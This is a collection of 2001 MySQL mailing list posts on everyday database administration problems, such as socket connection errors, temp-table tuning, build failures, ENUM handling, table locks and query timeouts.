That was a mistake by myself. it was /tmp/ so, if i make ps i can see that there are 4 mysqld processes are running could this be the problem? And if i use: ps -aux|grep mysqld there is only a difference between the process id. nothing else? ideas??? Regards Denis On Tuesday 20 March 2001 18:25, you wrote: It is more likely /tmp/mysql.sock tmp has no 'e'. denis mettler wrote: Hi, I did. but the problem is the same. regards denis On Tuesday 20 March 2001 17:45, you wrote: try: [mysql] mysql.default_socket = /temp/mysql.sock Cal http://www.calevans.com -Original Message- From: denis mettler [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 10:40 AM To: [EMAIL PROTECTED] Subject: Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, i deleted mysql in /var and make re-install in /usr/local/ but received the same error. so i make an entry in the php3.ini [mysql] mysql.default_socket = /temp where i found the mysql.sock the error message is still there? Other ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
tmp_disk_tables vs. tmp_tables
Hello, We're are a little worried about the ratio of tmp_disk_tables to tmp_tables. We are assuming the created_tmp_tables from `mysqladmin extended-status` represents the total number of temporary tables created and created_tmp_disk_tables from `mysqladmin extended-status` represents the number of temporary tables that exceeded tmp_table_size, and therefore had to be written to disk. Is this correct? If so, then the smaller this ratio the better, correct? Over 80% of the temporary tables are being written to disk. This seem WAY too high. Curious to find out what ratio others are seeing. If this is high, then what is a good way to lower it? Which variables to bump up? Are some variables related/dependent on eachother? For example, since most temp tables are created due to group by's and sort by's, are one or more sort buffers used per temp table? If a query that uses a temp table table runs out of sort buffer space, then is the temp table automatically written to disk? Are buffers such as sort buffers included in the space used for a temp table? The reason I ask is because a 16M tmp_table_size seems to be plenty large considering the size of the tables we are working with? I've read the optimization chapter in the MySQL manual, but only some of the configurable variables are described. Is there a resource that describes ALL of these in better detail? A snapshot of `mysqladmin extended-status` from our installation: Created_tmp_disk_tables = 274790 Created_tmp_tables = 338616 We've overriden these variables for a machine with 512M memory: set-variable= key_buffer=128M set-variable= table_cache=256 set-variable= max_allowed_packet=1M set-variable= max_connections=250 set-variable= record_buffer=1M set-variable= tmp_table_size=16M set-variable= max_heap_table_size=32M set-variable= sort_buffer=8M Redhat Linux: 2.2.14-5.0smp MySQL: Ver 10.12 Distrib 3.23.27-beta, for pc-linux-gnu (i686) (still on a beta version is bad, I know) Thanks, Erik - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
What is best way to check mysql status?
I have found at least three ways to check up/down status of MySQL. I am wondering what is considered the most reliable method, please comment and add if you have another method. 1. Check for existence of PID file created by MySQL 2. Check for existence of mysql.sock 3. Verify connection via telnet to port 3306. Thank you, Jose de Leon - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: [PHP-DEV] RE: 4.0.5RC1 static build with Apache 1.3.19 problem
Yes, I have tried it both ways. I configure Apache a second time after making php and it still does not work. :( Sincerely, Steven Roussey Network54.com http://network54.com/?pp=e Subject: Re: [PHP-DEV] RE: 4.0.5RC1 static build with Apache 1.3.19 problem Did you configure Apache after you did the make install from PHP? In the PHP directory run make install-sapi and see that PHP copies everything to the right directory. Andi At 07:12 PM 3/16/2001 -0800, Steven Roussey wrote: Subject: 4.0.5RC1 static build with Apache 1.3.19 problem Also happens in Apache 1.3.12 Sincerely, Steven Roussey Network54.com http://network54.com/?pp=e cd apache_1.3.12 CC=gcc CFLAGS="-O6 -march=i686 " CXX=gcc CXXFLAGS="-O6 -march=i686 " \ ./configure \ --activate-module=src/modules/php4/libphp4.a --enable-module=rewrite cd .. cd php-4.0.5RC1 CC=gcc CFLAGS="-O6 -march=i686 " CXX=gcc CXXFLAGS="-O6 -march=i686 " \ ./configure --with-mysql --with-xml --with-dom --with-zlib --with-gd \ --with-openssl --with-sablot --with-apache=../apache_1.3.12 --enable-inline- optimization make make install cd .. cd apache_1.3.12 make === src/modules/php4 make[4]: *** No rule to make target `all'. Stop. make[3]: *** [all] Error 1 make[2]: *** [subdirs] Error 1 make[2]: Leaving directory `/home/network54/webserver/apache_1.3.12/src' make[1]: *** [build-std] Error 2 make[1]: Leaving directory `/home/network54/webserver/apache_1.3.12' make: *** [build] Error 2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Best column type for an IP address
Hello all! Does MySQL have a function that converts an IP address from dotted decimal to binary, and back again? Jason Bell - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Warning: Got signal 14 from thread X
Alex, I looked at the new debug log you sent and obviously some client is making connections to your server. This cannot come from Innobase, there must be some client process running on your machine. From the debug log I find the following: ... T@11 : info: handle_one_connection called by thread 1 T@11 : info: check_connections called by thread 1 ...snip T@11 : vio_read T@11 : | enter: sd=10, buf=5a48230, size=4 T@11 : | error: Got error 11 during read T@11 : | exit: -1 T@11 : vio_read T@11 : info: vio_read returned -1, errno: 11 T@11 : thr_alarm T@11 : | enter: thread: T@11 sec: 5 T@11 : | info: reschedule T@11 : thr_alarm T@11 : vio_is_blocking T@10 : | process_alarm T@10 : | | info: sig: 14 active alarms: 1 T@11 : | exit: 0 ... Obviously vio_read fails on an error 11, and then mysqld calls thr_alarm to produce signal 14. From /usr/include/sys/errno.h I find: #define EAGAIN 11 /* Resource temporarily unavailable */ Probably Sinisa can find out what is the problem here. Regards, Heikki - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
Hi. It's kind of counter-intuitive to me as well, but the rationale is that there obviously was an error if you have a "" value for an ENUM column. this theoretically allows you at some later time to use that indicator to do some sort of error-check or update/delete all erroneous rows, or whatever you decide to do. ...in other words, it's a feature, not a bug. -ravi. -Original Message- From: Bill Marrs [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 12:48 PM To: [EMAIL PROTECTED] Subject: RE: Second Request - Limit Filed Input At 11:22 AM 3/20/2001 -0500, Ravi Raman wrote: You can use an ENUM column type assuming the numerical range is less than 65535 numbers. http://www.mysql.com/doc/E/N/ENUM.html One problem I've seen with enums is that I end up with a blank ('') field if I try to insert a row with a value in the enum column that doesn't fit. Is there a way to get the insert to fail on "bad input" instead? For example: mysql CREATE TABLE Stats ( - Status enum('good','bad') NOT NULL - ); Query OK, 0 rows affected (0.00 sec) mysql INSERT INTO Stats VALUES ('neither'); Query OK, 1 row affected (0.00 sec) (Can I get this insert to FAIL instead? because...) mysql select * FROM Stats; ++ | Status | ++ || ++ 1 row in set (0.01 sec) (this isn't always a good thing). -bill - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: AW: AW: Got an error reading communication packets
Steven Glogger wrote: LOG FILE = 010303 18:30:11 Aborted connection 1727 to db: 'unconnected' user: 'admin' host: `localhost' (Got an error reading communication pa ckets) 010303 18:33:11 Aborted connection 1729 to db: 'unconnected' user: 'admin' host: `localhost' (Got an error reading communication pa ckets) 010303 18:33:17 Aborted connection 1730 to db: 'server_admin' user: 'admin' host: `localhost' (Got an error reading communication p ackets) 010303 18:33:17 Aborted connection 1731 to db: 'server_admin' user: 'admin' host: `localhost' (Got an error reading communication p ackets) [this message is what i got all 3 minutes (ok, my whatsup is checking every 3 minutes if the daemon is working, but he is connecting only with a mysql-client to see, if its working)] i think maybe it's a problem with the libraries. but i tried it on 2 different linux (suse 7.1 and 6.4) systems, both smp systems, and on both i got the same error... sounds strange to me greetings thank you Steven: Don't see anything wrong with your installation. Most likely library problem. Check that you have the most current GLIBC-2.2. Also, on slackware I upgraded the following packages in order to get my Glibc-2.1.3 Slackware 7.0 current enough to run MySQL-3.23.33. -rw-r--r-- 1 root root 3386217 Dec 30 22:12 gcc.tgz -rw-r--r-- 1 root root 1851876 Dec 30 22:14 ncurses.tgz -rw-r--r-- 1 root root 27932668 Jan 29 10:12 glibc.tgz -rw-r--r-- 1 root root 4002594 Jan 29 10:13 glocale.tgz -rw-r--r-- 1 root root 385188 Mar 2 22:06 gettext.tgz -rw-r--r-- 1 root root 270797 Mar 2 22:07 readline.tgz There's one other I need to get, but, the server's running and can't mess with it for a few more days. Not sure what the remaining package is, but, hopefully when you do your rpm -Uvh's, it will tell you. I'd be interested to know. BTW, the GLIBC-2.2 was a security fix for all Linux distros. Regards, Van -- = Linux rocks!!! http://www.dedserius.com = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Read/write table lock
On Tue, Mar 20, 2001 at 03:05:53PM -0300, Fabio Galarraga wrote: Hi to all: Somebody knows how to make a read/writa table lock? I'm trying with java source: stmt.execute("LOCK TABLES table-x READ, table-x WRITE"); stmt.execute("UNLOCK TABLES"); but it fails. And what is the error message? -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
Yes, but it makes it hard to track down who/what piece of code entered those bad values. You just have to clean them up later and wonder. Not the end of the world, but I have some cases where I'd rather fail and deal with the error at time of input (have them re-enter or whatever). thanks -bill At 01:52 PM 3/20/2001 -0500, Ravi Raman wrote: It's kind of counter-intuitive to me as well, but the rationale is that there obviously was an error if you have a "" value for an ENUM column. this theoretically allows you at some later time to use that indicator to do some sort of error-check or update/delete all erroneous rows, or whatever you decide to do. ...in other words, it's a feature, not a bug. -ravi. -Original Message- From: Bill Marrs [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 12:48 PM To: [EMAIL PROTECTED] Subject: RE: Second Request - Limit Filed Input At 11:22 AM 3/20/2001 -0500, Ravi Raman wrote: You can use an ENUM column type assuming the numerical range is less than 65535 numbers. http://www.mysql.com/doc/E/N/ENUM.html One problem I've seen with enums is that I end up with a blank ('') field if I try to insert a row with a value in the enum column that doesn't fit. Is there a way to get the insert to fail on "bad input" instead? For example: mysql CREATE TABLE Stats ( - Status enum('good','bad') NOT NULL - ); Query OK, 0 rows affected (0.00 sec) mysql INSERT INTO Stats VALUES ('neither'); Query OK, 1 row affected (0.00 sec) (Can I get this insert to FAIL instead? because...) mysql select * FROM Stats; ++ | Status | ++ || ++ 1 row in set (0.01 sec) (this isn't always a good thing). -bill - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Problem with mysql-3.23.34a ????
Hi, I have a problem with 3-23.34a, running a shell scripts like this: . for table in ${table-list} # that is a very long list, just about 1030 # different tables do ## this command send to mysql the create table command dbutil -a -f $table | mysql -A $DB ## This command create a sequential file tab separated dbutil -S $table -f $pathname -d $TMPDIR/$table.seq ## And this to insert data into DB mysql -A $DB ! LOAD DATA INFILE '$TMPDIR/$table.seq' IGNORE INTO TABLE $table ! done . Some table have the index files corruped ! to avoid the problem I need to insert 'mysqladmin flush-table' inside, in this way: . or table in ${table-list} # that is a very long list, just about 1030 # different tables do ## this command send to mysql the create table command dbutil -a -f $table | mysql -A $DB mysqladmin flush-tables ## This command create a sequential file tab separated dbutil -S $table -f $pathname -d $TMPDIR/$table.seq ## And this to insert data into DB mysql -A $DB ! LOAD DATA INFILE '$TMPDIR/$table.seq' IGNORE INTO TABLE $table ! mysqladmin flush-tables done . Is it correct ? Do you think that the 3.23.35 should fix this problem ? Do you think that i have to wait to upgrade the customer from 3.23.34 to 3.23.35, i have notice that last version introduce another bug but i don't know wich one. What is the difference between Innobase, gemini and BDB tables, in the other words, wich one has the right support on mySQL now and is more stable that i can use it without any problem to manage transactions ? Regards marcello - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail mysql-unsubscribe-##L=##[EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: setting a new default nice value
On Tue, Mar 20, 2001 at 09:09:41AM -0700, Sasha Pachev wrote: On Tuesday 20 March 2001 07:58, Richard Ellerbrock wrote: Also, it would be REALLY cool to be able to specify a time limit for a select after which time it would die. I know this can be set globally, but this will not work for me as my server has many web apps (php driven) all using the same database - each app having different requirements. What grinds me is that some users enter crap searches on my apps and then hit the stop/cancel button when it takes too long. I know in upcoming versions of php they plan to somehow "fix" this - how I do not know. Oh yes, my databases are normalised. For now the workaround would be to write a daemon or a cron job that connects to MySQL once in a while, runs show full processlist, check the execution time and command type, and kills all threads that have exceeded the limit on select. The major downside of that is that it will kill the client's connection to the database (maybe casing to think the db server died). Will there be an enhancement to the MySQL protocol in 4.x to allow for a more graceful "query timed out" response to the client? Jeremy -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Small select question...
Hopefully this is not too lame a question... In oracle, I can do this: select a, b, c from A, B, C where a = A.a (+) and b = B.b (+) and c = C.c; What is the equivalent in MySQL? The (+) allows that 'where' statement to be kind of optional (I think). Basically I want to do a select on multiple tables and if one of the 'where' statements doesn't match anything, the query still returns values for other statements that did (e.g. if a = A.a is not true, but b = B.b is, I want to return B.b). Thanks! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Read/write table lock
Fabio Galarraga wrote: Hi to all: Somebody knows how to make a read/writa table lock? I'm trying with java source: stmt.execute("LOCK TABLES table-x READ, table-x WRITE"); stmt.execute("UNLOCK TABLES"); but it fails. Best regards, Fabio Galarraga [EMAIL PROTECTED] Well you are locking table-x twice in the same lock. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Best column type for an IP address
Jason Bell wrote: Hello all! Does MySQL have a function that converts an IP address from dotted decimal to binary, and back again? Jason Bell INET_NTOA INET_ATON I'll leave it as an exercise to you to read Manual Chapter 7.4.12. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: What is best way to check mysql status?
You should look up mysqladmin in the manual. It depends on what you want to know. mysqladmin ping will tell you if the server is alive or not, or you can use mysqladmin status to get a brief stat report about the server. John Barton Unix Systems Administrator Primary Networks, Inc. [EMAIL PROTECTED] On 21 Mar 2001, Jose de Leon wrote: I have found at least three ways to check up/down status of MySQL. I am wondering what is considered the most reliable method, please comment and add if you have another method. 1. Check for existence of PID file created by MySQL 2. Check for existence of mysql.sock 3. Verify connection via telnet to port 3306. Thank you, Jose de Leon - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Small select question...
You'll have to be more specific in your example -- your select statement below is rather ambiguous. However, take a look at the CASE WHEN...THEN functions that MySQL offers. I'm sure it's exactly what you are looking for. - Original Message - From: "Bryan Coon" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 1:30 PM Subject: Small select question... Hopefully this is not too lame a question... In oracle, I can do this: select a, b, c from A, B, C where a = A.a (+) and b = B.b (+) and c = C.c; What is the equivalent in MySQL? The (+) allows that 'where' statement to be kind of optional (I think). Basically I want to do a select on multiple tables and if one of the 'where' statements doesn't match anything, the query still returns values for other statements that did (e.g. if a = A.a is not true, but b = B.b is, I want to return B.b). Thanks! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: setting a new default nice value
On Tuesday 20 March 2001 12:28, Jeremy D. Zawodny wrote: On Tue, Mar 20, 2001 at 09:09:41AM -0700, Sasha Pachev wrote: On Tuesday 20 March 2001 07:58, Richard Ellerbrock wrote: Also, it would be REALLY cool to be able to specify a time limit for a select after which time it would die. I know this can be set globally, but this will not work for me as my server has many web apps (php driven) all using the same database - each app having different requirements. What grinds me is that some users enter crap searches on my apps and then hit the stop/cancel button when it takes too long. I know in upcoming versions of php they plan to somehow "fix" this - how I do not know. Oh yes, my databases are normalised. For now the workaround would be to write a daemon or a cron job that connects to MySQL once in a while, runs show full processlist, check the execution time and command type, and kills all threads that have exceeded the limit on select. The major downside of that is that it will kill the client's connection to the database (maybe casing to think the db server died). Will there be an enhancement to the MySQL protocol in 4.x to allow for a more graceful "query timed out" response to the client? Yes. -- MySQL Development Team __ ___ ___ __ / |/ /_ __/ __/ __ \/ / Sasha Pachev [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\___/ Provo, Utah, USA ___/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Pauses with large selects
Hi, My main experience is with Informix databases, but am trying MySQL on our web server (ver 3.23.33 running on Linux 2.2.16-3). In general it's working well, but being a MySQL newbie I'm a bit mystified by some odd select behavior. With Informix, doing a simple select like "select * from foo" (no where clause or order by) will always return results immediately regardless of how many rows are in table "foo". However, in my test MySQL database, when "foo" is a large table I get a long pause before any results come back and (even odder) another long pause when closing the statement handle after fetching a few rows. MySQL's CPU usage also shoots way up during these pauses. Are all the results are being buffered up somewhere before anything is returned, and then, I'm guessing, purged when the query is finished? It's odd that the closing pause is often longer and more CPU intensive than the opening one. With Informix, initial buffering only happens if something like a temporary table or index has to be created. Otherwise the results are returned as they are found by the db engine scanning through the table. In any case, there's no delay when closing. With the MySQL database, it seems the larger the potential result set, the longer both pauses become. In most cases I can get around it by just trimming the results with LIMIT, but when I actually need to iterate through a large table, wouldn't buffering up perhaps millions of rows cause problems (if that's what's really happening)? Really, I'm not sure if this is a bug, some problem with my tables, or just the way MySQL works. I'd be grateful if someone could shed some light on what might be causing the pause, or if it's normal, perhaps a better way to loop through all the rows in a large table without building up a potentially huge temporary buffer somewhere. Thanks for your time, S. Lemmon - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: very strange but reproducable error in 3.23.35
On Mon, Mar 19, 2001 at 02:24:52PM +0200, Sinisa Milivojevic wrote: Hi! I tested your test case and you are right ! We've just discovered a very similar sounding problem immediately after upgrading to 3.23.35. In our case an update is reporting 0 zero rows updated which then triggers an insert which fails with a duplicate entry error. When the code retries the same sequence a little later the update works. Thank you for a reproducible test case. Yes, many thanks. Saved me the work. We will fix it shortly. Please do, along with your test suite that should have caught such a basic error. Meanwhile I'm surprised and disappointed to have to say that 3.23.35, like .34, is NOT suitable for production use :( Tim. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php